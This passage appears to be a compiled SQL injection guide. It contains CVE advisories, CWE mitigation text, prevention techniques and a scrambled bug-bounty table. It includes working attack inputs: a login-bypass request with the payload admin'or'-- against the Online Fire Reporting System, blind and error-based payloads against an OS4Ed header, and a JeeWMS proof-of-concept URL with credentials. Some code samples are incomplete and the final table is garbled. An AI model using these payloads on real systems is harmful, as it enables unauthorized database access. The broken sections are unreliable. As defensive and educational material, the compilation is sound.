2. APIs Need Stronger Security: Enforce strict validation in API endpoints.
3. Proactive Defense: Use WAFs and automated tools to identify vulnerabilities early.
4. Regular Patching: Update software to mitigate known vulnerabilities.
Comprehensive Testing: Integrate tools like OWASP ZAP and Burp Suite into CI/CD pipelines.
CVE-2025-0392
12. Construct POC, log in to the backend to capture packets, and replace cookies
http://localhost:8083/jeewms/graphReportController.do?
datagridGraph&configId=CWSYL&store_code=1
admin/llg123
CVE-2025-0103 Details:
Title: Expedition: SQL Injection Vulnerability
Description:
An SQL injection vulnerability in Palo Alto Networks Expedition enables an authenticated attacker to
reveal Expedition database contents, such as password hashes, usernames, device configurations, and
device API keys. This vulnerability also enables attackers to create and read arbitrary files on the
Expedition system.
CVE-2025-0103
Source:
2025-01-11
2025-01-11
Metrics:
Weakness Enumeration:
CWE-89:
Weakness ID: 89
Abstraction: Base
Description:
The product constructs all or part of an SQL command using externally-influenced input from an
upstream component, but it does not neutralize or incorrectly neutralizes special elements that could
modify the intended SQL command when it is sent to a downstream component. Without sufficient
removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those
inputs to be interpreted as SQL instead of ordinary user data.
Common Consequences:
Potential Mitigations:
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that
make this weakness easier to avoid.
For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can
provide significant protection against SQL injection if used properly.
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and
code. These mechanisms may be able to provide the relevant quoting, encoding, and validation
automatically, instead of relying on the developer to provide this capability at every point where output
is generated.
Process SQL queries using prepared statements, parameterized queries, or stored procedures. These
features should accept parameters or variables and support strong typing. Do not dynamically construct
and execute query strings within these features using "exec" or similar functionality, since this may re-
introduce the possibility of SQL injection. [REF-867].
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76].
If possible, create isolated accounts with limited privileges that are only used for a single task. That way,
a successful attack will not immediately give the attacker access to the rest of the software or its
environment. For example, database applications rarely need to run as the database administrator,
especially in day-to-day operations.
Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The
database users should only have the minimum privileges necessary to use their account. If the
requirements of the system indicate that a user can read and modify their own data, then limit their
privileges so they cannot read/write others' data. Use the strictest permissions possible on all database
objects, such as execute-only for stored procedures.
For any security checks that are performed on the client side, ensure that these checks are duplicated
on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying
values after the checks have been performed, or by changing the client to remove the client-side checks
entirely. Then, these modified values would be submitted to the server.
Phase: Implementation
Instead of building a new implementation, such features may be available in the database or
programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that
parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the
mysql_real_escape_string() API function is available in both C and PHP.
Phase: Implementation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of
acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform
to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of
input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related
fields, and conformance to business rules. As an example of business rule logic, "boat" may be
syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only
expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one
undesirable input, especially if the code's environment changes. This can give attackers enough room to
bypass the intended validation. However, denylists can be useful for detecting potential attacks or
determining which inputs are so malformed that they should be rejected outright.
When constructing SQL query strings, use stringent allow lists that limit the character set based on the
expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this
technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing
SQL injection, although input validation may provide some defense-in-depth. This is because it
effectively limits what will appear in output. Input validation will not always prevent SQL injection,
especially if you are required to support free-form text fields that could contain arbitrary characters. For
example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the
English language. However, it cannot be directly inserted into the database because it contains the "'"
apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the
apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the
wrong name would be recorded.
When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will
provide some defense in depth. After the data is entered into the database, later processes may neglect
to escape meta-characters before use, and you may not have control over those processes.
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping
from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other
inputs.
Phase: Implementation
Ensure that error messages only contain minimal details that are useful to the intended audience and no
one else. The messages need to strike the balance between being too cryptic (which can confuse users)
or being too detailed (which may reveal more than intended). The messages should not reveal the
methods that were used to determine the error. Attackers can use detailed information to refine or
optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if
the log messages can be viewed by attackers. Highly sensitive information such as passwords should
never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as
whether a user account exists or not.
In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers
tailor successful attack strings.
Phase: Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in
which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention
measure while more comprehensive software assurance measures are applied, or to provide defense in
depth.
Effectiveness: Moderate
Note: An application firewall might not cover all possible input vectors. In addition, attack techniques
might be available to bypass the protection mechanism, such as using malformed inputs that can still be
processed by the component that receives those inputs. Depending on functionality, an application
firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be
required for customization.
When using PHP, configure the application so that it does not use register_globals. During
implementation, develop the application so that it does not rely on this feature, but be wary of
implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and
similar issues.
https://security.paloaltonetworks.com/PAN-SA-2025-0001
CVE-2025-0297 Details
Description
A vulnerability was found in code-projects Online Book Shop 1.0. It has been declared as critical. This
vulnerability affects unknown code of the file /detail.php. The manipulation of the argument id leads to
sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may
be used.
CVE-2025-0297
01/07/2025
01/07/2025
Source:
VulDB
Metrics:
Weakness Enumeration:
CWE-74:
Weakness ID: 74
Abstraction: Class
Description:
The product constructs all or part of a command, data structure, or record using externally-influenced
input from an upstream component, but it does not neutralize or incorrectly neutralizes special
elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
Extended Description:
Software or other automated logic has certain assumptions about what constitutes data and control
respectively. It is the lack of verification of these assumptions for user-controlled input that leads to
injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very
different ways and usually attempted in order to alter the control flow of the process. For this reason,
the most effective way to discuss these weaknesses is to note the distinct features that classify them as
injection weaknesses. The most important issue to note is that all injection problems share one thing in
common -- i.e., they allow for the injection of control plane data into the user-controlled data plane.
This means that the execution of the process may be altered by sending code in through legitimate data
channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of
some further issue to gain execution, injection problems need only for the data to be parsed.
Common Consequences:
Potential Mitigations:
Phase: Requirements
Programming languages and supporting technologies might be chosen which are not subject to these
issues.
Phase: Implementation
Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
Online Book Shop Using PHP has SQL Injection vulnerability via $id paremeter in /detail.php.
https://code-projects.org/online-book-shop-using-php-source-code/
Vulnerability:
Description:
The SQL Injection vulnerability exists in diretory /detail.php where this function query the id parameter
into the SQL statement without any restriction, validation or sanitization. An attacker could exploit this
vulnerability to get unauthorized access to the server database, or even perform Remote Code
Execution (RCE).
PoC:
Following what is provided above would execute the malicious SQL and could lead to dangerous
consequences, such as:
Mitigation:
To secure this vulnerable code, you need to stop the SQL injection from happening by validating and
sanitizing the user input before using it in the SQL query.
Use Prepared Statements (Recommended): One of the best ways to prevent SQL injection is by using
prepared statements. Prepared statements ensure that the user input is treated as data, not as part of
the SQL code.
Here’s how you could modify your query to use a prepared statement with MySQLi:
$id = $_GET['id'];
$stmt->execute();
$res = $stmt->get_result();
$row = $res->fetch_assoc();
prepare() ensures that the SQL query is compiled before user input is added.
bind_param() binds the user input ($id) to the query as a parameter, specifying that it’s an integer ("i").
This method prevents any SQL injection because it separates the data from the query.
Sanitizing Input: Even though prepared statements are the best practice, you can also add additional
input sanitization to ensure the input follows expected formats (e.g., numeric values for id).
For example:
$id = $_GET['id'];
if (!is_numeric($id)) {
die("Invalid input");
}
This would check if the input is numeric and stop further execution if it’s not.
Where it occurs: In /detail.php, specifically when the $id parameter is passed into the SQL query
without any validation or sanitization.
What can go wrong: An attacker could inject harmful SQL code, causing data leaks, data modification, or
even remote code execution.
How to fix it: Use prepared statements or parameterized queries to prevent SQL injection attacks.
Optionally, also sanitize and validate user input.
https://code-projects.org/
https://gist.github.com/th4s1s/782f2e19784f48bb80e4d658a49bd680
https://vuldb.com/?ctiid.290446
https://vuldb.com/?id.290446
https://vuldb.com/?submit.475138
Exploit Title: Online Fire Reporting System OFRS - SQL Injection Authentication Bypass
CVE ID
CVE-2024-34987
NVD Published Date:
06/03/2024
NVD Last Modified:
11/21/2024
Source:
MITRE
Severity
Critical (9.1/10) based on ADP: CISA-ADP base score. NVD assessment not yet provided.
Standard
The vulnerability information aligns with NIST (National Institute of Standards and Technology)
standards.
Current Status
Description
A SQL Injection vulnerability exists in the `ofrs/admin/index.php` script of PHPGurukul Online Fire
Reporting System 1.2. The vulnerability allows attackers to bypass authentication and gain unauthorized
access by injecting SQL commands into the username input field during the login process.
The product constructs all or part of an SQL command using externally-influenced input from an
upstream component, but it does not neutralize or incorrectly neutralizes special elements that could
modify the intended SQL command when it is sent to a downstream component. Without sufficient
removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those
inputs to be interpreted as SQL instead of ordinary user data.
Impact
Scope Impact
Likelihood of Exploit
High
Weaknesses
CWE-89
Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to
exploit the vulnerability.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in
components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data
access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data
modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
# Description
# PoC Report
## Environment Setup
- Version: V1.2
## Exploit Description
The SQL injection vulnerability in the ofrs/admin/index.php script arises from the insecure handling of
user input during the login process.
## Steps to Reproduce
## Proof Of Concept
```
Host: localhost
Content-Length: 46
Cache-Control: max-age=0
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ofrs/admin/index.php
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fmnj70mh1qo2ssv80mlsv50o29
Connection: close
username=admin%27or%27--&inputpwd=&login=login
```
## Vulnerability Type
SQL Injection
## Vendor of Product
online_fire_reporting_system_project
online_fire_reporting_system - v1.2
## Affected Component
ofrs/admin/index.php script
Exploit Overview
1. SQL Injection (SQLi) Attack: The exploit targets the login form of the Online Fire Reporting
System (OFRS) using a malicious SQL payload (admin'or'--). This bypasses authentication by
manipulating the SQL query during login.
2. Authentication Bypass: The payload tricks the system into authenticating the attacker as an
admin, granting unauthorized access to the admin panel without a valid password.
3. Exploit Method: The attack is executed via a POST request, where the attacker inputs the SQLi
payload into the username field. Upon submission, the system incorrectly grants access, leading
to a successful authentication bypass.
Potential Mitigations
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that
make this weakness easier to avoid.
For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can
provide significant protection against SQL injection if used properly.
Phase: Architecture and Design
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and
code. These mechanisms may be able to provide the relevant quoting, encoding, and validation
automatically, instead of relying on the developer to provide this capability at every point where output
is generated.
Process SQL queries using prepared statements, parameterized queries, or stored procedures. These
features should accept parameters or variables and support strong typing. Do not dynamically construct
and execute query strings within these features using "exec" or similar functionality, since this may re-
introduce the possibility of SQL injection.
Run your code using the lowest privileges that are required to accomplish the necessary tasks If
possible, create isolated accounts with limited privileges that are only used for a single task. That way, a
successful attack will not immediately give the attacker access to the rest of the software or its
environment. For example, database applications rarely need to run as the database administrator,
especially in day-to-day operations.
Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The
database users should only have the minimum privileges necessary to use their account. If the
requirements of the system indicate that a user can read and modify their own data, then limit their
privileges so they cannot read/write others' data. Use the strictest permissions possible on all database
objects, such as execute-only for stored procedures.
For any security checks that are performed on the client side, ensure that these checks are duplicated
on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying
values after the checks have been performed, or by changing the client to remove the client-side checks
entirely. Then, these modified values would be submitted to the server.
Phase: Implementation
While it is risky to use dynamically-generated query strings, code, or commands that mix control and
data together, sometimes it may be unavoidable. Properly quote arguments and escape any special
characters within those arguments. The most conservative approach is to escape or filter all characters
that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white
space). If some special characters are still needed, such as white space, wrap each argument in quotes
after the escaping/filtering step. Be careful of argument injection (CWE-88).
Instead of building a new implementation, such features may be available in the database or
programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that
parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the
mysql_real_escape_string() API function is available in both C and PHP.
Phase: Implementation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of
acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform
to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of
input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related
fields, and conformance to business rules. As an example of business rule logic, "boat" may be
syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only
expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one
undesirable input, especially if the code's environment changes. This can give attackers enough room to
bypass the intended validation. However, deny lists can be useful for detecting potential attacks or
determining which inputs are so malformed that they should be rejected outright.
When constructing SQL query strings, use stringent allow lists that limit the character set based on the
expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this
technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing
SQL injection, although input validation may provide some defense-in-depth. This is because it
effectively limits what will appear in output. Input validation will not always prevent SQL injection,
especially if you are required to support free-form text fields that could contain arbitrary characters. For
example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the
English language. However, it cannot be directly inserted into the database because it contains the "'"
apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the
apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the
wrong name would be recorded.
When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will
provide some defense in depth. After the data is entered into the database, later processes may neglect
to escape meta-characters before use, and you may not have control over those processes.
Phase: Implementation
Ensure that error messages only contain minimal details that are useful to the intended audience and no
one else. The messages need to strike the balance between being too cryptic (which can confuse users)
or being too detailed (which may reveal more than intended). The messages should not reveal the
methods that were used to determine the error. Attackers can use detailed information to refine or
optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if
the log messages can be viewed by attackers. Highly sensitive information such as passwords should
never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as
whether a user account exists or not.
In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers
tailor successful attack strings.
Phase: Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in
which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention
measure while more comprehensive software assurance measures are applied, or to provide defense in
depth.
Effectiveness: Moderate
Note: An application firewall might not cover all possible input vectors. In addition, attack techniques
might be available to bypass the protection mechanism, such as using malformed inputs that can still be
processed by the component that receives those inputs. Depending on functionality, an application
firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be
required for customization.
When using PHP, configure the application so that it does not use register_globals. During
implementation, develop the application so that it does not rely on this feature, but be wary of
implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621,
and similar issues.
CVE-2024-35584: Detailed Analysis
Version: 9.1
CVE ID
CVE-2024-35584
NVD Published Date:
10/15/2024
NVD Last Modified:
10/16/2024
Source:
MITRE
Severity
High (8.8/10) based on ADP: CISA-ADP base score. NVD assessment not yet provided.
Standard
The vulnerability information aligns with NIST (National Institute of Standards and Technology)
standards.
This vulnerability has been updated since its initial analysis by the National Vulnerability Database
(NVD), maintained by NIST. It is awaiting reanalysis which may result in further changes to the
information provided.
# Date: 09.09.2024
# Version: 9.1
# Tested on: Linux
A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v9.1 via the
"X-Forwarded-For" header parameters in POST request sent to /Ajax.php.
---
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
(EXTRACTVALUE)
Payload: 127.0.0.2' AND EXTRACTVALUE(5785,CASE WHEN (5785=5785) THEN 5785 ELSE 0x3A END)
AND 'HVwG'='HVwG
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)
---
FIX: https://github.com/OS4ED/openSIS-Classic/pull/322
Potential Mitigations:
SQL Injection occurs when untrusted data is included in SQL queries without proper validation. Here are
some key mitigation strategies:
Summary
SQL Injection remains a critical security concern in the modern digital landscape. Despite its
long history, SQLi attacks continue to evolve, exploiting both technical flaws and human
oversight. By adopting best practices, employing robust defensive strategies, and fostering a
culture of security, organizations can significantly reduce their risk of SQLi vulnerabilities.
The case studies illustrate the devastating consequences of SQL injection attacks. They also
highlight the importance of adopting robust security measures, such as input validation,
encryption, and regular testing, to safeguard sensitive data.
SQL Injection Prevention Techniques
Mitigations
6.1 Overview
Preventing SQL injection attacks is crucial for maintaining the integrity, confidentiality, and
availability of your database and web application. This section discusses the most effective
techniques to prevent SQL injection, including secure coding practices, parameterized queries,
and security configurations.
Secure Coding Practices
Definition:
Input validation ensures that user inputs conform to expected formats before they are processed
by the application. Input sanitization involves removing potentially harmful characters from user
inputs.
Best Practices:
Example:
For a user login system, only allow alphanumeric characters for the username and a secure hash
for the password.
php
Copy code
$username = preg_replace("/[^a-zA-Z0-9]/", "", $username);
This approach ensures that only safe, expected characters are processed.
Definition:
Prepared statements with parameterized queries separate SQL code from user input, preventing
the input from being executed as part of the SQL query.
Best Practices:
This ensures that even if an attacker enters malicious SQL code, it will not be executed, as it is
treated as a value.
Definition:
Escaping special characters involves inserting a backslash or other escape sequences before
characters that could be interpreted as part of the SQL code.
Best Practices:
If parameterized queries cannot be used, manually escape special characters in user inputs.
This ensures that special characters like single quotes or semicolons are treated as literal
characters rather than SQL syntax.
Definition:
Dynamic SQL is the practice of constructing SQL queries by concatenating strings and variables.
This approach is inherently vulnerable to SQL injection.
Best Practices:
Always use prepared statements or stored procedures instead of constructing SQL queries
dynamically.
If dynamic SQL is absolutely necessary, ensure that proper input validation, sanitization, and
escaping are applied.
Example:
Avoid this dangerous code:
php
Copy code
$sql = "SELECT * FROM users WHERE username = '$username'
AND password = '$password'";
Definition:
The principle of least privilege states that database users should only have the permissions
necessary to perform their required tasks.
Best Practices:
Ensure that web application database users only have read or write access to the specific tables
they need.
Regularly review user permissions and remove unnecessary access.
Example:
If your web application only needs read access to a users' table, ensure that the database user
does not have permission to delete or modify that table.
Definition:
Error messages can reveal valuable information about the database structure, which attackers can
exploit. Proper error handling ensures that only generic messages are displayed to the user, while
detailed errors are logged internally for review.
Best Practices:
Disable detailed error messages in production environments.
Log errors securely and review logs regularly for suspicious activity.
Example:
Instead of displaying the raw error message:
php
Copy code
echo "SQL Error: " . $mysqli->error;
php
Copy code
echo "An error occurred. Please try again later.";
Definition:
A web application firewall (WAF) filters and monitors HTTP traffic to and from a web
application to protect against attacks like SQL injection.
Best Practices:
Deploy a WAF to block malicious SQL injection attempts before they reach your application.
Use WAFs that have predefined rules for SQL injection detection and prevention.
Example:
ModSecurity is a popular open-source WAF that can be configured to detect and block SQL
injection attempts.
Many modern development frameworks include built-in features to protect against SQL
injection. For example, Django (Python), Laravel (PHP), and ASP.NET (C#) all offer ORM
(Object-Relational Mapping) systems that automatically use prepared statements to prevent SQL
injection.
Best Practices:
Choose frameworks and libraries that provide built-in protection against SQL injection.
Leverage their ORM features to interact with the database securely.
Example: In Django, using the ORM ensures that queries are automatically parameterized:
python
Copy code
User.objects.filter(username=username, password=password)
6.4.2 Regular Security Audits and Penetration Testing
Definition:
Conducting regular security audits and penetration testing helps identify and fix vulnerabilities in
web applications, including SQL injection.
Best Practices:
Perform routine security assessments and penetration testing to identify vulnerabilities early.
Use automated tools like OWASP ZAP or Burp Suite to scan for potential SQL
injection issues.
Client-Side Measures
While server-side measures are the primary defense against SQL injection, client-side validation
can provide an additional layer of security.
Best Practices:
Use JavaScript to validate inputs before they are sent to the server.
Although this is not a replacement for server-side validation, it can help prevent some basic
attacks.
Example:
javascript
Copy code
function validateInput(input) {
var regex = /^[a-zA-Z0-9]*$/;
if (!regex.test(input)) {
alert("Invalid input.");
return false;
}
return true;
}
Prevention
Description Best Practice
Technique
Input Ensuring inputs conform to
Validation & expected formats and Use whitelist validation and sanitize inputs
Sanitization removing harmful characters
Limiting database
Least Privilege Assign minimal necessary privileges to
permissions to only
Principle necessary operations
database users
Hiding detailed errors and Display generic error messages and log
Error Handling logging them securely detailed errors securely
Prevention
Description Best Practice
Technique
Web Filtering malicious traffic
Deploy WAFs such as ModSecurity for SQL
Application before it reaches the
injection protection
Firewalls application
Penetration Regularly testing the Use tools like OWASP ZAP or Burp Suite for
Testing application for vulnerabilities security assessments
Conclusion of Section 6
SQL injection attacks are highly preventable with the right techniques and secure coding
practices. By employing input validation, prepared statements, and secure database
configurations, organizations can mitigate the risk of SQL injection and safeguard sensitive data.
7.1 Overview
SQL injection remains a critical vulnerability despite the availability of various prevention
techniques. However, the landscape of web application security is evolving, and new
technologies and approaches are emerging that promise to reduce the risk of SQL injection
further. In this section, we will explore these trends, focusing on AI-driven security, advanced
database technologies, and the role of automated tools in enhancing protection.
Definition:
AI-based intrusion detection systems (IDS) leverage machine learning algorithms to detect
anomalous patterns in database queries, network traffic, or application behavior, which might
indicate a potential SQL injection attack.
Emerging Trend:
With the advancement of machine learning (ML), IDS are becoming more accurate at identifying
SQL injection attempts without relying on predefined signatures. ML models can learn to
recognize normal traffic and flag deviations that might represent an SQL injection.
Example: An AI-based IDS might flag a query like:
sql
Copy code
SELECT * FROM users WHERE username = 'admin' OR 1=1 --
The system would detect the unusual pattern in the query (the OR 1=1 condition) and alert
administrators.
Benefits:
Definition:
Predictive analytics uses historical data and machine learning to predict future vulnerabilities and
potential attack vectors, including SQL injection. By analyzing previous attack patterns,
predictive analytics can help organizations identify areas of their applications that are at higher
risk for SQL injection.
Emerging Trend:
Predictive models can assess the likelihood of SQL injection attacks based on real-time
application usage, traffic patterns, and historical incidents. This proactive approach can prevent
attacks before they happen.
Example: A predictive model could analyze traffic spikes, suspicious query structures, and
user behaviors to flag a high probability of a SQL injection attack in progress.
Benefits:
Proactive Defense: Organizations can bolster security around the most vulnerable
areas before an attack occurs.
Adaptive Security: As attack patterns evolve, the predictive models can adapt and
improve their detection accuracy.
7.3 Serverless Architectures and SQL Injection Prevention
Definition:
Serverless computing allows developers to build and run applications without managing servers.
The cloud provider automatically handles scaling, load balancing, and security.
Emerging Trend:
Serverless architectures introduce a new approach to application security, where the
infrastructure provider manages the underlying security, potentially reducing the exposure to
SQL injection attacks. With serverless functions, developers write smaller, isolated pieces of
code that run in a managed environment, limiting the attack surface.
Definition:
Serverless databases, such as Amazon Aurora Serverless or Google Cloud Firestore,
automatically scale based on demand and often provide enhanced security features.
Emerging Trend:
Serverless databases often have built-in protection mechanisms for SQL injection, such as
automatic input validation, parameterized queries, and stricter access control, which reduce the
risk of injection attacks.
Example: Amazon Aurora Serverless automatically uses encrypted queries, ensuring that
malicious input does not have an opportunity to manipulate the underlying SQL code.
Benefits:
Definition:
A Web Application Firewall (WAF) is a security system that monitors and filters HTTP traffic
between a web application and the internet. It acts as a barrier that can block malicious requests,
including SQL injection.
Emerging Trend:
The use of next-generation WAFs is becoming increasingly popular. These WAFs incorporate
advanced algorithms, machine learning, and threat intelligence to provide dynamic, real-time
defense against SQL injection.
Example: Modern WAFs are capable of learning normal application traffic patterns and
adapting to new types of SQL injection attacks. They can dynamically adjust their filtering rules
to detect novel attack vectors.
Benefits:
Real-Time Protection: WAFs can instantly block malicious traffic and alert
administrators to potential threats.
Customizable Rules: WAFs can be fine-tuned to protect against specific SQL
injection techniques relevant to an application’s architecture.
Definition:
Managed WAF services, provided by cloud security providers like Cloudflare or AWS WAF,
offer automatic configuration and ongoing maintenance to defend against SQL injection and
other common web application attacks.
Emerging Trend:
Managed WAF services offer an easy-to-deploy solution for businesses that want to protect their
applications from SQL injection without having to manually configure complex security
measures.
Benefits:
Definition:
Blockchain is a decentralized ledger technology that can be used to secure databases by ensuring
the integrity of data and preventing unauthorized modifications.
Emerging Trend:
Blockchain is gaining attention for its potential to enhance data integrity and prevent SQL
injection. In blockchain-based databases, any modification to the data would require consensus
from multiple parties, making SQL injection attacks much more difficult to execute.
Example: In a blockchain database, instead of SQL queries, users would interact with
decentralized smart contracts that automatically validate and sanitize inputs.
Benefits:
Definition:
Security as a Service (SECaaS) refers to a cloud-based model where security services, including
SQL injection prevention, are delivered over the internet.
Emerging Trend:
SECaaS providers are integrating advanced tools to detect, prevent, and respond to SQL
injection attacks in real-time. These services offer protection against not only SQL injection but
also other common attack vectors.
Example: Cloud providers like Google, Amazon, and Microsoft offer security services that
automatically protect applications from SQL injection and other vulnerabilities by scanning
incoming traffic and blocking suspicious requests.
Benefits:
The future of SQL injection prevention lies in embracing emerging technologies such as artificial
intelligence, serverless architectures, and blockchain. As these technologies evolve, they will
offer new ways to protect applications from SQL injection attacks, providing both proactive and
real-time defense mechanisms. Businesses must continue to adapt and integrate these
advancements to stay ahead of attackers and ensure the security of their web applications.
Public Bug Bounty Reports
Since ~2020
$ https://
3 M hackerone.
IDO
R
IDOR for order delivery address 0 ail. com/
0 ru reports/
0
723461
https://
$ hackerone.
IDO 2 Vis
2
R
IDOR to change API-key description
5 ma
com/
0 reports/
809967
$ https://
3 hackerone.
SSR Sla
3
F
STUN SSRF 5
ck
com/
0 reports/
0
333419
$ https://
5 M hackerone.
SQL
5
i
Blind SQLi through GET 0 ail. com/
0 ru reports/
0
795291
$ https://
3 M hackerone.
SQL
6
i
Blind SQLi through GET 0 ail. com/
0 ru reports/
0
732430
$ https://
2 M hackerone.
SQL
7
i
SQLi 2 ail. com/
0 ru reports/
0
738740
https://
$ hackerone.
M
SQL 3
8
i
Blind Boolean based SQLi through GET
0
ail. com/
ru reports/
0
398131
Buff $ https://
er 1 hackerone.
Val
9 Ove Buffer Overflow 7
ve
com/
rflo 5 reports/
w 0
458929
$ https://
2 Tw hackerone.
1 CSR
1 F
CSRF in iOS app 9 itt com/
4 er reports/
0
805073
https://
Op $ hackerone.
Tw
1 en 5
2 redi
Phishing Open Redirect
6
itt com/
er reports/
rect 0
781673
https://
$ hackerone.
Tw
1 5
3
DoS DoS
6
itt com/
er reports/
0
767458
https://
$ hackerone.
Tw
1 5
4
DoS DoS
6
itt com/
er reports/
0
768677
Info $ https://
rma 2 hackerone.
1 Sla
5
tion Private key disclosed 0
ck
com/
lea 0 reports/
k 0
531032
Acc
$ https://
oun hackerone.
3 M
1 t
7 Tak
Brute force account takeover via recovery code 0 ail. com/
0 ru reports/
eov
0
er 730067
Info
$ https://
1 hackerone.
rma M
1 0,
8
tion Arbitrary memory leak through API call
0
ail. com/
lea ru reports/
0
k
0 513236
https://
$ hackerone.
M
1 6
9
XSS Blind Stored XSS
0
ail. com/
ru reports/
0
659760
LFI
(Inf $ https://
Sta hackerone.
or 4
2 rb
0
ma Local File Inclusion 0
uc
com/
tion 0 reports/
ks
lea 0
780021
k)
$ https://
1 hackerone.
2 Val
1
LFI Arbitrary file inclusion & execution 0
ve
com/
0 reports/
0
508894
Info Ha https://
$ hackerone.
rma ck
2 5
2
tion Low impact information leak
0
er com/
lea On reports/
0
k e
826176
Ins
uffi
cie
$ https://
nt SE hackerone.
1
2 sec Mr
3 urit
CORS misconfiguration 0
us
com/
0 reports/
y h
0
con 235200
trol
s
https://
bugs.xdavi
dhu.me/
google/
$ 2020/03/0
Logi 6 Go
2 8/the-
c Domain authority regex logic bug 0 ogl
4
bug 0 e unexpecte
0 d-google-
wide-
domain-
check-
bypass/
Priv
$ https://
ileg Ub hackerone.
1
2 e Abusing backup and restore function to escalate iqu
5 esc privileges
5
iti
com/
0 reports/
ala Inc
0
tion 329659
Info $ https://
Sta hackerone.
rma 4
2 Unauthenticated API endpoint leaking holiday rb
7
tion
schedule of employees in China
0
uc
com/
lea 0 reports/
ks
k 0
659248
Acc
$ https://
oun hackerone.
7 Sh
2 t Changing URL path from login to new-password
8 tak allows merging victims store to attackers account
5 opi com/
0 fy reports/
eov
0
er 796956
Imp
rop https://
$ hackerone.
er
2 Unauthenticated API allows enumeration of user 5 Ra
9
acc
names & phone numbers 0 zer
com/
ess reports/
0
con
752443
trol
Aut
$ https://
hen hackerone.
1
3 tica Ra
0 tion
Auth bypass allowing access to support tickets 5
zer
com/
0 reports/
byp
0
ass 776110
Priv $ https://
ileg 1 hackerone.
Same as below, but change of email HAS to be Sh
3 e 5,
1 esc
completed before receiving the email verification
0
opi com/
